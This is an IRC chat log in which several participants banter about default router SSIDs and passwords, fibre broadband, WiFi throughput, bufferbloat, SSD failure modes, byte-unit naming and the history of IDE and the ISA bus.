21:30:47 <Vorpal> elliott, if you do that it isn't the manufacture's fault. It is your own fault.
21:30:56 * elliott 's SSID is Revolutionary Opticians. don't ask.
21:31:14 <Vorpal> elliott, mine is a randomly generated string. Well pseudo-randomly
21:31:32 <elliott> Previously it was "supersonic mosquitos", which is just as meaningless.
21:31:40 <elliott> Vorpal: I don't think it's reasonable to expect random users to set their own SSID.
21:31:48 <Vorpal> elliott, if I manufactured an AP I would make it use the default SSID "CONFIGURE THIS" and the default password "FILL THIS IN"
21:31:48 <variable> mine is "lifetime supply" with a password of some random foodstuff
21:32:01 <elliott> Vorpal: Oh please.
21:32:05 <Vorpal> elliott, ?
21:32:07 <elliott> What's wrong with <Manufacturer>-<random string>?
21:32:22 <elliott> There's no reason users should have to be bugged with setting that.
21:32:25 <variable> Vorpal: most users wouldn't change - even though it says to
21:32:26 -!- elliott has quit (Read error: Connection reset by peer).
21:32:34 <Vorpal> elliott, right. Windows should come with default password for your account too
21:33:01 -!- elliott has joined.
21:33:02 <Vorpal> <Vorpal> elliott, right. Windows should come with default password for your account too.
21:33:03 <Vorpal> elliott, I COMPLETELY AGREE!
21:33:06 <elliott> <Vorpal> elliott, if I manufactured an AP I would make it use the default SSID "CONFIGURE THIS" and the default password "FILL THIS IN"
21:33:09 <elliott> <variable> mine is "lifetime supply" with a password of some random foodstuff
21:33:11 <elliott> <elliott> Vorpal: Oh please.
21:33:13 <elliott> <Vorpal> elliott, ?
21:33:14 <Vorpal> elliott, I got that...
21:33:15 <elliott> <elliott> What's wrong with <Manufacturer>-<random string>?
21:33:17 <elliott> <elliott> There's no reason users should have to be bugged with setting that.
21:33:21 <elliott> Vorpal: Dude. SSID != password ...
21:33:27 <elliott> Who gives a shit what your SSID is if you have a good password?
21:33:32 <Vorpal> elliott, true but for the password for the network
21:33:44 <Vorpal> elliott, so okay the SSID could be randomised like you suggest
21:33:50 <Vorpal> but the password would be FILL THIS IN
21:33:53 <Vorpal> or such
21:34:13 <elliott> Instead of "FILL THIS IN" why not just have it redirect all pages to a "yo gimme a password" screen.
21:34:17 <elliott> Then people would actually see it :P
21:34:52 <Vorpal> elliott, I assumed it would be required to change on that "first setup" page you get
21:35:12 <Vorpal> elliott, you know, where you enter stuff like ADSL login and what not
21:35:26 <elliott> Right.
21:35:47 <fizzie> Vorpal: Forgot about it, but I did in fact also plot the overall match-length histogram back then: http://zem.fi/~fis/cycleh15b.png
21:36:07 <elliott> But while we're dreaming, can we eliminate ADSL too?
21:36:16 <variable> Vorpal: people would be guaranteed to enter one and just forget what they put in. It would be better to provide one to the user with a warning that says "print this out" -> its better to tell the user to take affirmative action to remember things than passive action to "not forget" things
21:36:22 <Vorpal> fizzie, is the x-axis tape length?
21:36:34 <oerjan> pikhq: i followed the *.abuse.email (iirc) newgroup for a while during the 90's. blocking outgoing smtp was very much considered an essential prevention agains spam then.
21:36:40 <elliott> WiFi passwords are a bit pointless, "pairing" seems much saner
21:36:44 <fizzie> Vorpal: No, it's the match length in 10^x cycles. It's a match length histogram, after all.
21:36:52 <variable> <elliott> WiFi passwords are a bit pointless, "pairing" seems much saner ---> agreed
21:36:54 <elliott> where you have to physically press a button on the router to let a new MAC connect
21:36:55 <Vorpal> <elliott> But while we're dreaming, can we eliminate ADSL too? <-- yeah but it is unlikely you would get cable everywhere that you could get ADSL
21:36:57 <Vorpal> cost reasons
21:37:02 <elliott> Vorpal: Cable? Fibre.
21:37:15 <variable> elliott: or even just a number on the device with a "pairing password" or whatever
21:37:16 <Vorpal> elliott, that is even more unlikely outside cities
21:37:18 <fizzie> elliott: Fibre? Telepathy.
21:37:28 <elliott> Vorpal: Eh, it's happening...
21:37:40 <elliott> What was that place that was rolling out fibre into shitloads of rural areas? .au?
21:37:47 <Ilari> Fibre and the last few tens of metres with Ethernet? :-)
21:37:48 <Vorpal> elliott, by my norm, some 90% of UK is densely populated :P
21:37:59 <elliott> Yes, it is: http://en.wikipedia.org/wiki/National_Broadband_Network
21:38:06 <Vorpal> elliott, heh
21:38:15 <elliott> Committed download speeds of 100 megabits per second, and peak download speeds of 1 gigabit per second for 93% of Australia homes and businesses[10] using a Gigabit Passive optical network (GPON) or Ethernet Point to Point fibre[11]
21:38:15 <elliott> The remainder of Australian homes and businesses will be serviced by a combination of next generation wireless and satellite technologies with a minimum speed of 12 megabits per second
21:39:05 <Vorpal> err... what
21:39:05 <elliott> Ilari: Underground Ethernet cables, I like it :P
21:39:09 <elliott> Vorpal: ?
21:39:11 <Vorpal> *prods ipv6 config*
21:39:37 <Vorpal> elliott, the bottleneck listed for the assymetric MTU is my tunnel endpoint
21:39:39 <Vorpal> XD
21:39:42 <elliott> Vorpal: Anyway, even by your norm Australia is like 0% densely populated :P
21:39:46 <Vorpal> I have no idea what is going on here
21:39:51 <elliott> So fibre on a wide scale _is_ feasible...
21:40:45 <Vorpal> elliott, ... "[...] providing download speeds of up to 1 Gigabit per second to 93% of Australian homes and businesses, with the remaining 7% of premises being connected at up to 12 Megabits per second using wireless and satellite technologies,"
21:40:55 <Vorpal> elliott, now. About what percentage lives in the outback?
21:41:00 <elliott> Vorpal: It's not about the outback.
21:41:01 <Vorpal> elliott, 8-10% ?
21:41:03 <Vorpal> :P
21:41:13 <Vorpal> elliott, of course it is feasible in Sydney
21:41:15 <elliott> Vorpal: There's plenty of rural areas near the cities that aren't in the outback :P
21:41:15 <Vorpal> and so on
21:41:28 <elliott> ISTR news stories about them laying down fibre in such places.
21:41:29 <Vorpal> elliott, yes but outback is where the big problems start
21:41:46 -!- variable has quit (Quit: /dev/io failed).
21:41:47 <elliott> I think people in the outback are happy enough to have water, never mind fibre-optic broadband :P
21:42:09 <Vorpal> elliott, indeed. And I suspect they are about 7%, perhaps slightly more or slightly less
21:42:32 -!- variable has joined.
21:42:32 <elliott> I doubt 7%. Less.
21:42:38 <Vorpal> elliott, right
21:42:53 <elliott> Vorpal: But anyway, if we're talking about its relevancy to other countries, we can just pretend the outback doesn't exist X-P
21:43:02 <fizzie> Ilari: Sonera seems to be doing quite a lot of "fibre to the basement" sort of stuff nowadays, and then the last few metres with VDSL2 (for buildings with no suitable Ethernets in them, of course).
21:43:22 <elliott> Fibre to the room. You need to run copper from there to your computer.
21:43:40 <fizzie> Fibre to the head.
21:43:47 <Vorpal> fizzie, that doesn't help us who live in freestanding houses
21:44:02 <elliott> Fibre to the one-cm-gap-to-your-Ethernet-port.
21:44:10 <elliott> There's a teeny tiny Ethernet connecting the rest of the way.
21:44:11 <fizzie> Vorpal: I'm sure they'd be willing to dig a cable to your place too if you just fork over enough money. :p
21:44:16 <variable> elliott: I've seen proposals to have fibre to the computer
21:44:23 <elliott> FIBRE TO THE MOTHERBOARD
21:44:28 <Vorpal> elliott, fibre to the on-board fibre controller in your laptop :P
21:44:29 <elliott> "Just gonna open up your computer here, hope you don't mind"
21:44:30 <variable> (and cut out the ethernet connection entirely)
21:44:33 <Vorpal> elliott, I doubt that will happen
21:44:54 <Vorpal> variable, the issue with that is distributing it to a LAN
21:44:55 <elliott> variable: That's kind of impractical unless we get fibre routers.
21:44:59 <elliott> Which would be "interesting".
21:45:20 <Vorpal> elliott, fibre *switches* do exist, no?
21:45:34 <variable> elliott: Vorpal I'm very much aware of that. Nonetheless I've seen serious proposals (from people in the business) to offer this
21:45:34 <elliott> I suppose it could work if everybody normal used wifi, and the SPEED DEMONS plugged the fibre cable in to their DECKED OUT motherboard.
21:45:45 <elliott> Consumer use of Ethernet is dying out I'd say.
21:46:10 <Vorpal> elliott, what, really?
21:46:12 <Vorpal> elliott, hm
21:46:21 <fizzie> Vorpal: It's all wireless nowadays.
21:46:21 <Vorpal> elliott, but wifi is slow and unreliable
21:46:31 <elliott> -n is "slow"?
21:46:33 <elliott> By what definition?
21:46:37 <elliott> "unreliable"? By what definition?
21:46:51 <Vorpal> elliott, by comparing to gbit ethernet over S/UTP :P
21:46:55 -!- variable has quit (Remote host closed the connection).
21:46:56 -!- invariable has joined.
21:47:03 <elliott> Vorpal: Yeah, nobody uses that.
21:47:05 <elliott> So that's irrelevant.
21:47:17 <Vorpal> elliott, anyway, everyone seems to use channel 6 or 11....
21:47:23 <Vorpal> so stick to 13, then you are mostly good to go
21:47:33 <Vorpal> needs manual reconfiguration in your AP likely
21:47:44 <Vorpal> elliott, also I use that
21:47:50 <elliott> Vorpal: Yes, but you're not a Person.
21:47:57 <elliott> You do not factor in to any statistics.
21:47:59 <Vorpal> elliott, besides I doubt computers will be without ethernet for some time to come
21:48:02 <elliott> Your use-case does not exist.
21:48:12 <fizzie> 802.11n speeds in reality do tend to be a bit less-than-impressive, at least with the AP behind a few walls and so on. Perfectly usable for most things, of course, but not the promised multi-hundred-megabits all the time.
21:48:13 <Vorpal> elliott, becuase companies use it
21:48:17 <elliott> Vorpal: I'm sure it'll happen on laptops very, very quickly.
21:48:21 <Vorpal> elliott, thinkpads?
21:48:22 <elliott> Businesses are an excuse to sell business machines.
21:48:24 <Vorpal> elliott, really?
21:48:32 <elliott> Vorpal: Nobody apart from business uses ThinkPads.
21:48:39 <Vorpal> elliott, *ahem*
21:48:49 <fizzie> Vorpal: I don't really know what Sonera's fibre-to-the-basement business model is; our apartment building (with 48 apartments) got a letter from Sonera that they'd like to dig a cable (or use an existing pipe) to our telephone center box completely free of charge; we're sort of expecting they're going to follow with another letter somewhere along the lines of "now that you have our cable there, how about some speedy internets?"
21:49:01 <elliott> Vorpal: You do not exist. Nobody is going to make decisions based on your use-case, which does not exist.
21:49:03 <Vorpal> <fizzie> 802.11n speeds in reality do tend to be a bit less-than-impressive, at least with the AP behind a few walls and so on. Perfectly usable for most things, of course, but not the promised multi-hundred-megabits all the time. <-- indeed
21:49:12 <elliott> You are one percent of a percent of a percent of a percent of a percent of a percent.
21:49:15 <Vorpal> fizzie, let me see what I get on 11g here... *fiddles with laptop*
21:49:16 <elliott> Which is 0 percent.
21:49:31 <Vorpal> curse you, why do you take ages to connect
21:49:58 <pikhq> fizzie: Buffer bloat kills 802.11.
21:50:00 <Vorpal> 11 Mb/s according to iwconfig
21:50:05 <Vorpal> now down to 1
21:50:18 <Vorpal> elliott, this is 11g though, but the laptop can do 11n as well
21:50:32 <pikhq> Vorpal: You probably have seconds of buffer.
21:50:33 <invariable> pikhq: that and double-up/half-back
21:50:50 <invariable> (which hurts speeds in general)
21:50:54 <Vorpal> up to 18 Mb/s now
21:50:59 <Vorpal> pikhq, hm?
21:51:04 <Vorpal> pikhq, on that laptop yes I would have that
21:51:12 <Vorpal> pikhq, I normally hook it up on gbit ethernet when home
21:51:12 <Vorpal> :P
21:51:13 <pikhq> Which kills TCP congestion control, which kills latency and bandwidth.
21:51:27 <Vorpal> pikhq, and it's up to 24 Mb/s now
21:51:27 <pikhq> And makes congested links entirely unusable.
21:52:51 * pikhq would like to beat all the people who think that no packet loss is a desirable thing.
21:52:59 <Vorpal> pikhq, ping reports rtt to google.com over wlan as avg of 33.114 ms. Let me hook it back up on ethernet and compare
21:53:02 <invariable> pikhq: ditto
21:53:13 <pikhq> Vorpal: Try saturating the link and then pinging google.com.
21:53:27 <Vorpal> pikhq, meh I don't want to flood myself off irc :P
21:53:33 <elliott> pikhq: Ah - but - the gamers.
21:53:37 <elliott> "ping google.com"
21:53:40 <elliott> "0% packet loss"
21:53:47 <elliott> "FUCK YEA MY CONNECTION IMA FRAG SOME NOOBS WITH MY ULTRA-LOW PINGIZZLE"
21:53:49 <pikhq> elliott: Actually, the gamers want to minimise latency.
21:53:57 <elliott> pikhq: That's factor A.
21:54:00 <elliott> You're forgetting factor B.
21:54:01 <invariable> elliott: packet loss != latency
21:54:03 <elliott> Factor B: Gamers are retarded.
21:54:06 <elliott> invariable: See above.
21:54:15 <pikhq> And oddly enough, the smarter ones have been mitigating bufferbloat for a while now.
21:54:17 <Vorpal> pikhq, anyway for gbit ethernet it is 31.338 average
21:54:26 <elliott> These are the same people who build glow-in-the-dark watercooled monstrosities :P
21:54:30 <Vorpal> pikhq, but note I'm on channel 13, and that is not crowded for some reason
21:54:35 <pikhq> Vorpal: Saturate the link.
21:54:37 <elliott> And tweak Windows god knows how much.
21:54:39 <Vorpal> pikhq, it seems auto selecting of channels try to skip it
21:54:53 <Vorpal> pikhq, by scping something to another computer on the lan or?
21:54:57 <pikhq> Latency on an uncongested link is not a very good measure any more...
21:55:18 <pikhq> Vorpal: Well, that depends on which buffer you want to see at max. :P
21:55:32 <invariable> *sigh* measuring internet speeds have been the subject of PhD thesis
21:55:33 <Vorpal> pikhq, I will not be able to saturate ethernet for it. Since it is the only computer turned on atm with gbit ethernet
21:56:29 <pikhq> invariable: Doesn't require a doctorate to realise that latency on uncongested links is not very important when congestion can add seconds of latency.
21:56:29 <elliott> MY INTERNETS ARE FAST BECAUSE I GET -3 MS PING
21:56:33 <elliott> THAT'S RIGHT
21:56:36 <invariable> pikhq: I know
21:56:37 <elliott> PING RESPONSES COME BEFORE I SEND THEM
21:56:51 <pikhq> But, yeah, it certainly can be complex.
21:56:52 <Vorpal> invariable, that is because things are so stupid. Something like the CAN bus is dead trivial to figure out
21:57:00 <Vorpal> (of course it wouldn't scale)
21:57:03 <elliott> invariable: "It's the Latency, Stupid" amuses me highly
21:57:15 <invariable> elliott: what do you mean?
21:57:20 <pikhq> http://rescomp.stanford.edu/~cheshire/rants/Latency.html
21:57:35 <elliott> invariable: The page: MODEMS HAVE 100 MS LATENCY! Me: Damn, I wish I got that kind of ping.
21:57:50 <Vorpal> pikhq, err, I have QoS setup I think from an earlier experiment. So it might not be as easy to check this.
21:57:55 * pikhq gets 80ms ping to Google.
21:58:14 <pikhq> Vorpal: QoS != avoiding buffer bloat.
21:58:19 <Vorpal> pikhq, true
21:58:20 <invariable> pikhq: odd. I read _A lot_ about this subject and have not come across this before
21:58:25 <pikhq> Vorpal: Unless you've got it set to shape bandwidth to slightly less than provisioned.
21:58:30 <elliott> invariable: really?
21:58:31 <elliott> it's quite famous
21:58:41 <Vorpal> pikhq, I forgot what I set it up
21:58:44 <Vorpal> to do
21:58:51 <invariable> elliott: hence the "odd" - I'm reading it now
21:59:06 <pikhq> Vorpal: Your local network is probably still susceptible, but your WAN link should be just fine.
21:59:19 <Vorpal> pikhq, anyway doesn't 802.11 do checksuming and resending across the *link*. As opposed to normal wired connections that do it at the endpoints
21:59:50 <Vorpal> pikhq, I seem to remember this
21:59:52 <pikhq> Vorpal: 802.11 doesn't do resending at all.
21:59:56 <Vorpal> pikhq, really?
21:59:58 <Vorpal> hm
22:00:07 <pikhq> It's a minor modification of the Ethernet scheme.
22:00:23 <Vorpal> pikhq, could be I confused it with wimax or 3G or something then
22:00:37 <pikhq> 3G does checksumming and resending across the link, yes.
22:00:52 <pikhq> And a large number of other things that really fuck with TCP.
22:01:00 <Vorpal> pikhq, right. Which is very strange. It goes against one of the major keypoints to making internet scale
22:01:10 <invariable> elliott: actually - I did see it before. I recall the conclusion of the article. Maybe I saw a quote?
22:01:19 <elliott> invariable: Mm.
22:01:19 <pikhq> Vorpal: Telephone networks are set up assuming that the network is smart and the endpoints are retarded.
22:01:34 <pikhq> Vorpal: The Internet is set up assuming that the network is retarded and the endpoints are smart.
22:01:40 <Vorpal> pikhq, uh... but that is no longer true for data traffic over 3G
22:01:41 <Vorpal> :P
22:01:52 <pikhq> So, what we're seeing is impedence mismatch between the two spaces.
22:01:54 <invariable> pikhq: I like that analogy
22:02:12 <elliott> invariable: pikhq: Also: "Everyone knows that when you buy a hard disk you should check what its seek time is. The maximum transfer rate is something you might also be concerned with, but the seek time is definitely more important."
22:02:17 <elliott> invariable: pikhq: I WISH THAT WERE STILL TRUE.
22:02:18 <elliott> But oh no.
22:02:21 <elliott> MY DRIVE IS 10KRPM!! LOL!
22:02:22 <elliott> FAST!
22:02:25 <Vorpal> invariable, I don't see that it is an analogy. It seems plain fact
22:02:42 <invariable> Vorpal: s/analogy/way of stating it/
22:02:57 <invariable> I know its true - but I've never been able to explain it easily
22:02:58 <elliott> Like the idiots who dismiss SSDs because, omg, their linear transfer rate isn't as good as my 1000000000KRPM "RAPTORSAURUS SEX"!
22:03:00 <Vorpal> invariable, indeed
22:03:04 <elliott> ...
22:03:04 <elliott> *REX
22:03:13 <elliott> But sure, 1000000000 krpm raptosaurus sex.
22:03:24 <Vorpal> elliott, Freud was right
22:03:47 <elliott> Vorpal: INDEED, LIKE HE SAID, SOMETIMES A CIGAR IS JUST A CIGAR, LIKE NOW. STOP LOOKING AT MY CIGAR.
22:03:48 <invariable> Vorpal: I've been working on my soft skills (writing, etc) because I know a lot of the "hard" stuff already - I like seeing better ways to explain things :-)
22:03:55 <Vorpal> elliott, XD
22:04:21 <Vorpal> invariable, resort to technical terms.
22:04:25 <Vorpal> ;)
22:04:25 -!- elliott has quit (Read error: Connection reset by peer).
22:04:34 <invariable> elliott: I dislike SSDs because of the fast failure rate. Once that's under control (and the price is reasonable) I'll care a lot more
22:04:47 -!- elliott has joined.
22:04:52 <Vorpal> I dislike SSD because of the price yeah.
22:04:53 <elliott> <Vorpal> invariable, resort to technical terms.
22:04:55 <elliott> <elliott> Vorpal: WHAT A GREAT IDEA
22:04:57 <elliott> * Disconnected (Connection reset by peer).
22:04:59 <elliott> CONSPIRACY.
22:05:04 <Vorpal> elliott:
22:05:05 <Vorpal> <Vorpal> invariable, resort to technical terms.
22:05:05 <Vorpal> <Vorpal> ;)
22:05:06 <Vorpal> + elliott has quit (Read error: Connection reset by peer)
22:05:11 <elliott> 14:04:34 <invariable> elliott: I dislike SSDs because of the fast failure rate. Once that's under control (and the price is reasonable) I'll care a lot more
22:05:14 <Vorpal> elliott, do you think I was serious?
22:05:21 <elliott> invariable: The failure rate isn't fast on any good SSDs that I know of (Intel).
22:05:23 <elliott> Vorpal: I didn't see the ;) :P
22:05:26 <pikhq> invariable: SSD's failure rate is pretty low by now.
22:05:32 <pikhq> invariable: Think "years of constant use".
22:05:36 <elliott> invariable: Besides, the failure mode is "becomes read-only".
22:05:47 <Vorpal> elliott, that is *one* failure mode
22:05:47 <pikhq> Oh, and the failure rate is, of course, based on number of write cycles.
22:05:47 <elliott> invariable: Which is a lot better than mechanical disks' failure mode, which is "OH GOD MY DATA".
22:05:49 <Vorpal> but not the only one
22:05:51 -!- StukaBR has joined.
22:05:52 <elliott> Vorpal: The most common failure mode by far :P
22:05:53 <invariable> pikhq: its still worse than typical HDDs. And its not pure failure rate. its sector failure rate
22:06:09 <elliott> invariable: I would trust data to an Intel SSD more than I would trust it to any mechanical disk.
22:06:18 <pikhq> Unlike mechanical disk's failure rate, which is based on time running.
22:06:18 <invariable> <elliott> invariable: Besides, the failure mode is "becomes read-only". --> this is interesting
22:06:26 <pikhq> And spin-up cycles.
22:06:28 <elliott> invariable: Because, again, by FAR the most common way for an SSD to fail is: after lots and lots of writing, data becomes read-only.
22:06:29 <Vorpal> I will switch to SSD when I can afford two 1 TB ones
22:06:31 <Vorpal> to use in RAID 1
22:06:46 <invariable> elliott: interesting - I'd like to read more about that
22:06:48 <elliott> If you put some data on an SSD, and leave it for 50 years, you've got a damn good chance of being able to read it back. Perhaps even longer.
22:06:50 <invariable> do you have a link ?
22:06:54 <elliott> Those are just guesses of course.
22:07:03 * invariable may change my mind on SSDs
22:07:10 <elliott> invariable: Hmm, no, I haven't, but AnandTech is my source for SSD-related info.
22:07:10 <Vorpal> invariable, his*
22:07:15 <Vorpal> invariable, /me uses third person
22:07:15 <pikhq> Vorpal: Yes, the capacity/dollar ratio is the only downside to SSDs right now.
22:07:20 <fizzie> Vorpal: That's just around 5 kiloeur; you are so cheap!
22:07:25 <Vorpal> fizzie, :P
22:07:25 <invariable> Vorpal: MEH
22:07:28 <elliott> invariable: Quick google brings up this (HIGHLY RELIABLE) forum thread: http://forums.anandtech.com/showthread.php?t=2020590
22:07:37 <elliott> "It depends on the failure mode. For instance, when set on fire, hard drives and SSDs both provide equally fantastic recovery rates of 0%. "
22:07:58 <elliott> "For certain failure modes, it is believed that SSDs will still allow you to recover whatever data was previously on the drive; that said, all the SSD failures I've ever heard of have been non-recoverable firmware issues." ;; this is probably true because it's hard to invoke the real failure mode... but Intel SSD firmware is good from what i hear
22:07:58 <Vorpal> fizzie, and for hdds it is like.... 2000 SEK?
22:08:00 <elliott> also that was in 2009
22:08:02 <Vorpal> fizzie, something like that
22:08:03 <elliott> SSDs are much more mature now
22:08:05 <pikhq> elliott: Not quite. It may be possible to have a forensics lab extract some data.
22:08:10 <oerjan> <elliott> THIS NEVER HAPPENED BEFORE LIKE TODAY <-- wild hypothesis: isps are no starting to scramble to get ipv6 working and breaking everything else in the process
22:08:11 <pikhq> elliott: *Thermite*, on the other hand.
22:08:17 <elliott> oerjan: :D
22:08:21 <Vorpal> fizzie, which is about 220 EUR
22:08:26 <Vorpal> 230*
22:08:27 <Vorpal> but still
22:08:29 -!- StukaBR has quit.
22:08:47 <elliott> invariable: Anyway the only sane thing to put on SSDs nowadays is OS and software because of the capacity/cost ratio.
22:08:55 <pikhq> Mmmmm, hot enough to randomise the magnetic domains.
22:08:58 <elliott> For those, you don't really care how reliable the data is. :P
22:09:05 <elliott> (Who backs up their OS?)
22:09:14 <pikhq> elliott: Windows users.
22:09:14 <Vorpal> <oerjan> <elliott> THIS NEVER HAPPENED BEFORE LIKE TODAY <-- wild hypothesis: isps are no starting to scramble to get ipv6 working and breaking everything else in the process <-- too good to be true
22:09:18 <fizzie> Vorpal: 1 TB SATA HDs are somewhere around 50-60 eur, so it's 120 EUR for 2*1TB.
22:09:27 <pikhq> *Such* a fucking pain to reinstall.
22:09:30 <elliott> pikhq: PFFT LIKE ANYBODY USES WINDOWS.
22:09:30 <invariable> elliott: yes - this is true. If I had the money I might actually look into doing so
22:09:51 <Vorpal> elliott, I like your statistics. First you dismiss me as 0%, then you do the same to windows users
22:09:53 <Vorpal> :D
22:09:59 <oerjan> <elliott> Vorpal: I don't think it's reasonable to expect random users to set their own SSID. <-- heck my landlady cannot even find where she mislaid the passwords that _were_ set...
22:10:23 <oerjan> (which means no one but her actually gets to use the wireless)
22:10:31 <elliott> invariable: Wellll, the lucky people who have newegg can get a 40 Gio Intel SSD for $94.99.
22:10:33 <Vorpal> oerjan, why doesn't she just get a paperclip and push it into the reset hole?
22:10:36 <elliott> (Well, if it weren't out of stock.)
22:10:40 <elliott> invariable: And 80 Gio for $171.99.
22:11:06 <elliott> Where 80 Gio ~= 86 Go, of course.
22:11:07 <invariable> elliott: my budget for computer parts was exhausted recently when I bought another 2GB stick of ram :-\
22:11:13 <pikhq> A "mere" $4000 for a 1TB SSD.
22:11:27 <pikhq> Sorry, 1TiB.
22:11:29 <elliott> invariable: Hehe... must be a pretty small budget considering how cheap RAM is :) unless you're on DDR or something.
22:11:34 <elliott> (Can you even get 2 Gio DDR sticks?)
22:11:37 <invariable> elliott: it was $30
22:11:39 <Vorpal> elliott, what is wrong with the word "byte"
22:11:47 <Vorpal> elliott, why are you using octets suddenly
22:11:48 <elliott> Vorpal: There have been systems with 9-bit bytes.
22:11:52 <Vorpal> elliott, true...
22:11:59 <invariable> elliott: I need to pay for other things... like university :-\\
22:12:00 <elliott> And because I'm legally obligated to rip off Deewiant at every available opportunity.
22:12:03 <elliott> invariable: :-)
22:12:06 <Vorpal> elliott, he did that?
22:12:09 <elliott> Who needs university when you have computers!
22:12:15 <elliott> Vorpal: His Fungicide results use "io", yes.
22:12:23 <elliott> Except with a capital K for Kio because he's a Nazi.
22:12:24 <Vorpal> elliott, so why do you not use bits As in... 320 Gib?
22:12:33 <invariable> elliott: unfortunately one can't get grant money without a degree :-\
22:12:38 <elliott> Vorpal: WAY TO NOT PUNCTUATE, got confused there
22:12:47 <elliott> Vorpal: But yes, I would use b to denote internet speeds.
22:12:52 <elliott> My internet connection is 8 Mib.
22:12:56 <Vorpal> elliott, oops missed a . indeed
22:12:58 <elliott> (I suppose it might technically be 8 Mb, but I doubt it.)
22:13:09 <elliott> *Mib/s
22:13:09 <elliott> *Mb/s
22:13:13 <elliott> (Since I've got 1 Mio/s download occassionally.)
22:13:16 <Deewiant> I only use o and bit because b is overloaded
22:13:26 -!- elliott has quit (Read error: Connection reset by peer).
22:13:37 <Vorpal> elliott, wow I have two 8 Gib HDDs. Isn't that impressive.
22:13:37 <Vorpal> XD
22:13:44 <Vorpal> err
22:13:47 <Deewiant> Well, when I don't care that much about comprehension, anyway
22:13:48 <Vorpal> elliott, wow I have two 8 Tib HDDs. Isn't that impressive.
22:13:49 -!- elliott has joined.
22:13:49 <Vorpal> even
22:13:53 <Vorpal> <Vorpal> elliott, wow I have two 8 Tib HDDs. Isn't that impressive.
22:13:54 <Vorpal> elliott, ^
22:13:54 <elliott> <Deewiant> I only use o and bit because b is overloaded
22:13:56 <elliott> <elliott> Deewiant: Not for all those people on systems with 9-bit bytes?
22:13:58 <elliott> * Disconnected (Connection reset by peer).
22:14:00 <elliott> Deewiant: Using bytes is like measuring things in megawords!
22:14:03 <Vorpal> elliott, I bet most people wouldn't notice the lower case b
22:14:04 <elliott> It is a RELIC of the PAST!!!
22:14:04 <invariable> Vorpal: when I installed the extra 2GB of ram I found an extra HDD in the case I didn't know I had
22:14:14 <invariable> elliott: your connection is horid :-|
22:14:24 <elliott> invariable: Yeah, I appear to have the same problem pikhq is having X-D
22:14:24 <Vorpal> invariable, you what
22:14:30 <pikhq> elliott: Except worse.
22:14:31 <fizzie> Telecom people do tend to use M instead of Mi everywhere, so 8 Mbps sounds more likely.
22:14:31 <Vorpal> invariable, was it unconnected?
22:14:32 <Deewiant> elliott: b is overloaded to mean byte and bit, and byte is further overloaded :-P
22:14:34 <elliott> pikhq: OH THANKS.
22:14:36 <invariable> Vorpal: yes
22:14:40 <Vorpal> invariable, SATA or PATA?
22:14:48 <invariable> Vorpal: IDE :-(
22:14:49 <pikhq> elliott: Also, I trial-and-error'd the right MTU.
22:14:52 <elliott> Deewiant: True, I wonder how invariable got ahold of 2 megabels of RAM.
22:14:56 <elliott> *a hold of
22:15:04 <Vorpal> invariable, okay you can still hook it up and use it for swap or such
22:15:11 <Vorpal> invariable, most mobos still have some IDE connectors
22:15:14 <pikhq> ping -s SIZE -M do www.google.com
22:15:14 <invariable> Vorpal: that is exactly what I did
22:15:18 <Vorpal> invariable, and?
22:15:21 <Vorpal> invariable, what was on it?
22:15:26 <Vorpal> invariable, was the disk broken?
22:15:27 <elliott> SECRET PLANS
22:15:31 <fizzie> The net here is *very* theoretically 24 Mbps, but it's never quite that even channel-wise.
22:15:33 <pikhq> SIZE will be 28 smaller than the actual link MTU.
22:15:34 <Vorpal> invariable, was it a quantum fireball?
22:15:36 <elliott> isn't IDE = PATA?
22:15:39 <Vorpal> elliott, yes
22:15:41 <invariable> Vorpal: nothing useful. Disk worked. using it for swap now
22:15:42 <elliott> where = is pronounced "equal to"
22:15:42 <pikhq> elliott: No.
22:15:43 <fizzie> styx> wan adsl chandata
22:15:43 <fizzie> DSL standard: ADSL2+ Mode
22:15:43 <fizzie> near-end bit rate: 20282 kbps
22:15:43 <fizzie> far-end bit rate: 1015 kbps
22:15:48 <fizzie> Well, that's in fact quite close.
22:15:48 <elliott> Vorpal: pikhq: FIGHT
22:15:51 <pikhq> elliott: PATA = ATA over IDE.
22:15:57 <elliott> fizzie: What kind of monster uses > as a prompt?
22:15:59 <elliott> pikhq: Heh.
22:16:02 <Vorpal> indeed pikhq is right
22:16:04 <pikhq> IDE is a variant of ISA.
22:16:15 <Vorpal> pikhq, what, really?
22:16:19 <pikhq> Vorpal: Yes.
22:16:25 <Vorpal> pikhq, is IDE really a variant of the *ISA bus*?
22:16:27 <fizzie> elliott: It's a ZyXEL ADSL modem thingie; it runs something bizarrely named, I think it was ZyNOS.
22:16:28 <pikhq> Yes.
22:16:31 <Vorpal> pikhq, crazy
22:16:45 <elliott> Xenu.
22:16:47 <Vorpal> pikhq, so did they use something else than ATA over IDE?
22:16:48 <elliott> XenOS.
22:16:51 <elliott> ZyNOS.
22:16:53 <elliott> COINCIDENCE?
22:16:55 <elliott> I THINK NOT.
22:17:00 <elliott> Vorpal: PCI over IDE!
22:17:09 <Vorpal> elliott, PCI over ISA is just silly :P
22:17:12 <pikhq> Vorpal: The IDE protocol.
22:17:19 <Vorpal> pikhq, what is/was that?
22:17:25 <elliott> PCI over IDE would be awesome.
22:17:29 <elliott> "PLUG THE GRAPHICS CARD INTO YOUR HARD DRIVE PORT."
22:17:43 <pikhq> Oh, sorry, never mind.
22:17:50 <pikhq> PATA and IDE are synonyms.
22:17:53 <Vorpal> pikhq, heh
22:18:03 <Vorpal> pikhq, and was ISA ever involved?
22:18:04 <pikhq> ATAPI, however, *is* tunneled over IDE.
22:18:07 <pikhq> Vorpal: Yes.
22:18:11 <Vorpal> pikhq, heh
22:18:27 <pikhq> Vorpal: The first IDE adapters were just cards with a port onto the ISA bus.
22:18:43 <invariable> elliott: yeah - I only saw a quote from that article. thanks for linking me to the original
22:18:48 <Vorpal> pikhq, no host controllers?
22:18:49 <elliott> invariable: YOU'RE WELCOME
22:18:51 <pikhq> Later enhancements basically just clocked it faster.
22:18:57 <elliott> Now why is GTK so terrible?
22:18:57 <Vorpal> pikhq, so modern IDE was like... high speed ISA with some crazy DMA stuff?
22:18:57 <elliott> API-wise.
22:19:11 <Vorpal> pikhq, which sounds laughable
22:19:15 <pikhq> Which works just fine, because ISA actually has no fixed bus speed.
22:19:34 <pikhq> It originally used the CPU clock.
22:19:35 <Vorpal> pikhq, true, but why did we get PCI then instead of just boosting ISA?
22:19:52 <pikhq> They only fixed it because the clock speed got to be too high for the physical connectors.
22:20:24 <elliott> THIS IS SO STUPID
22:20:28 <pikhq> And yes, modern IDE is high-speed ISA with DMA tacked on.
